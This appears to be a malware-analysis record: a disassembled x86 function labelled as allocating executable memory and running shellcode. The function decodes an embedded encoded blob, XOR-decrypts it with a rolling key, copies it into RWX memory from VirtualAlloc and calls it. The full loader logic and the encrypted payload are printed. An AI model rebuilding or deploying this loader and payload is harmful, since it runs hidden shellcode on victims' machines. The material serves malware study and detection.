Function at 0x40175f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x328
call fcn.00401940
mov dword [ebp - 0x31f], 0
lea eax, [ebp - 0x31b]
mov ecx, 0x2f3
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [str.NzkgMzcgZTggMmUgNWUgMmUgM2EgZDMgMTYgOWUgZTYgMzUgZTkgZDMgYzMgNzIgMTMgMmQgYzUgMjkgZDUgY2QgYjEgZTEgNDIgYWMgZWYgMjYgNWIgNTcgMjcgOWUgZTIgYzIgYTIgYzYgNTMgMTUgZWIgYjcgMzIgYTQgZmQgZTYgZGEgNjggZTEgY2UgMDIgMGQgM2IgYmQgMjMgZmMgMDQgMjQgMTUgMzggM2EgYmIgNWMgM2UgMGQgMmUgZWEgMjcgYWMgZTAgZWUgN2MgNjEgN2IgZWEgZTAgNjkgYjEgMmIgNmIgNGUgYzUgOTkgYzUgMTcgNzAgZDIgN2EgNWIgY2QgYmEgMmUgZTEgOWIgNjMgZWUgZDIgOTMgYTQgNGYgNjcgZWIgM2UgYjIgODkgZTggYzAgNWEgZDEgMDYgODEgYzcgY2UgYzMgYmQgYjUgZTUgYjQgOTYgNDAgN2QgNGUgNTQgNDkgNzYgZjkgMTYgZGUgZWYgOWMgYWYgYjMgZjMgOGUgMTggYzUgNGQgODcgNTQgNmEgMzEgMDYgMjIgZjQgNWYgMWYgZTEgNzUgMTcgOGUgZTUgMzUgZTkgZWUgYTEgYTkgM2YgODUgZTQgZjcgMGIgMWIgMmEgYzcgZDAgNTggZTUgMjYgOWQgNGQgNmIgOTkgYjIgYmYgYWIgY2UgMWEgNGIgYjggZDQgYzQgMDggZTcgZjIgYzMgZTkgNjMgYjQgZjggZWUgYTMgNjYgNDcgODUgZDEgZmYgZDAgY2YgNmQgNTMgOWQgN2QgYjMgNDcgY2MgZmUgNWYgODggN2MgNGEgOWYgOGEgYTQgMmYgZjcgNmQgNGEgOGMgMzMgOWIgMWMgZjIgYjEgYzYgODUgZjggMmUgNWIgNmUgM2QgOTMgNjkgMzMgM2IgMzQgOWIgNGQgMjEgMjMgMGIgZWUgNmEgNmIgNmEgNGEgNjUgYzQgNjcgMzcgOWIgZWUgNWEgOTEgY2YgNzMgYmEgNDggYTggZTMgODQgMjEgMzQgZjUgZGMgOWQgMzIgZDEgZjUgNDAgZTYgYjIgMGYgODcgNDIgNzcgMmMgNzMgNGIgZjkgNjIgMTUgMGYgMDkgZWMgMjUgYmUgNDQgMGQgNjEgNGUgYmMgYTMgNmEgNmQgYjQgNjkgOWMgMmYgN2QgYzYgM2QgYjYgMDAgNDcgYjUgNzkgY2EgZmUgZTQgY2YgOTEgZTcgODAgN2YgZjQgZTEgOTkgYWUgMGUgOWUgM2EgY2YgNmYgNTUgYjQgZjggMzcgNGMgOWQgNjggZDUgZjEgMjAgMTcgM2EgNjggOWQgMDAgMzAgODMgNzAgYWQgN2IgMWYgYjIgNjUgZDggN2UgYTIgNDUgM2IgNGYgYTYgY2IgMGMgOTggY2UgMDYgNTAgODggNGEgN2UgOWYgYjEgNjEgNzUgNzUgMDkgMjggY2UgZmEgNWEgMGIgYzYgNWUgZGYgZGMgZGYgNGUgMGEgZTUgMmEgNDMgNzkgMjcgMmUgMzIgODQgNzYgNWMgM2UgMDQgNDIgNjAgNGMgMjEgZTkgOGYgMzYgNzMgNmYgNmYgZWQgZDAgZTUgZDMgYzAgMDUgMmYgMjQgYTUgM2MgMGUgMWMgN2UgMmYgMDMgYWYgNjYgOTMgMDIgYzYgZTQgOWEgZTEgNDkgYzMgMzUgMjYgZGQgYjAgOTAgNWIgNWIgYWEgNzcgN2IgZTEgYjQgOTUgNGEgMTUgZmQgYTIgN2EgODkgODcgY2QgMTUgNTUgMTAgNTggODEgODggYzIgY2YgMjcgOTUgOWEgMWIgNzkgYzUgYTcgNTYgZjkgY2YgYTMgZWUgMTAgNjMgMmMgMjUgNzcgNzggMTMgNzMgMGYgYjUgNTggZDAgZGQgMzEgN2QgM2YgODUgNjkgMTYgN2MgYzggZWMgMzMgYWEgZmEgOGUgZDQgYTkgYTcgODggYzkgMDUgMDUgZjUgYTkgNzIgY2MgMzYgYmYgOGUgNWEgMDQgY2YgZGQgYzMgY2MgMTIgMDIgYTUgMWMgOWUgZDEgNTEgMDAgNzggZTMgZmMgOGEgNTAgNjkgODcgZmEgM2EgMmIgODQgZTggMjQgMTkgNzAgMjAgYzggYWUgODMgMzAgYjUgN2QgM2MgZDAgOWMgZTkgYjAgNGMgMmMgMzYgMGEgNzQgYTIgN2MgYTEgN2QgNTQgZTIgZmMgMzIgNzIgMWYgZjcgZTMgYTkgN2UgN2YgYWEgZTEgMjUgZDggYzUgM2UgZTIgMjAgZTkgYjYgOTIgNjAgMzYgODYgNzggYjAgNzQgODMgMzMgZTYgMmQgMTIgZDUgMTAgOTkgZTUgYTkgYjggYTQgNDQgZjkgMWQgYTAgMWUgZTQgZGIgNmIgZGYgNGUgM2YgMjMgMTYgOTcgZGYgYmMgNzggM2YgNzYgYmIgYjQgMzQgYTAgODMgOTUgZDggMWMgZjkgZmYgODAgNTEgM2MgYzkgZTcgY2IgZmUgNGQgMTYgN2YgMTIgODkgMGIgYmUgNTYgMmIgNWEgODUgMGQgYWIgOTIgODggYWEgM2YgYzMgYzYgNDggMmMgZGYgNTEgNzggZTQgZjcgYTYgNjMgNTEgM2YgZjkgYzkgYjcgYzQgOGIgNTcgNWIgOGYgZTYgZTUgMmYgZDAgMjEgMTIgYTMgZWYgN2IgYWEgNDYgNWQgOWYgZDMgYjMgNjUgMTkgYTYgNDMgZjcgMmEgOWUgZTkgYzMgZmIgYzUgYWYgMDEgYjMgYzMgMjQgZWQgODAgYzIgYjMgZTEgMDQgMTcgZDkgMWUgOWYgNmMgODAgMDMgODUgMjAgZDIgODEgYzYgOGEgOGUgZDIgMDIgNWEgZjIgNzcgNTAgM2UgZjYgZTcgYjggMTYgNDggMDAgNTQgYjMgODkgNmUgNGEgODQgMGYgMDEgOTMgOWMgZGUgNTIgODMgMzUgNDcgMjQgMDYgMTQgYTIgYTQgY2UgOWYgY2QgYzMgMTM]
mov dword [esp], eax
call fcn.00401530
mov dword [esp + 4], eax
lea eax, [ebp - 0x31f]
mov dword [esp], eax
call fcn.00401714
mov dword [ebp - 0x1c], 0x1a2
mov dword [ebp - 0x24], 0x58
mov dword [ebp - 0x20], 0
jmp 0x401815
lea edx, [ebp - 0x31f]
mov eax, dword [ebp - 0x20]
add eax, edx
movzx eax, byte [eax]
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor eax, edx
mov ecx, eax
lea edx, [ebp - 0x31f]
mov eax, dword [ebp - 0x20]
add eax, edx
mov byte [eax], cl
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x1c], eax
add dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x20]
cmp eax, 0x2f6
jbe 0x4017e7
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x2f7
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov edx, eax
lea eax, [ebp - 0x31f]
mov ecx, 0x2f7
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
call eax
nop
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret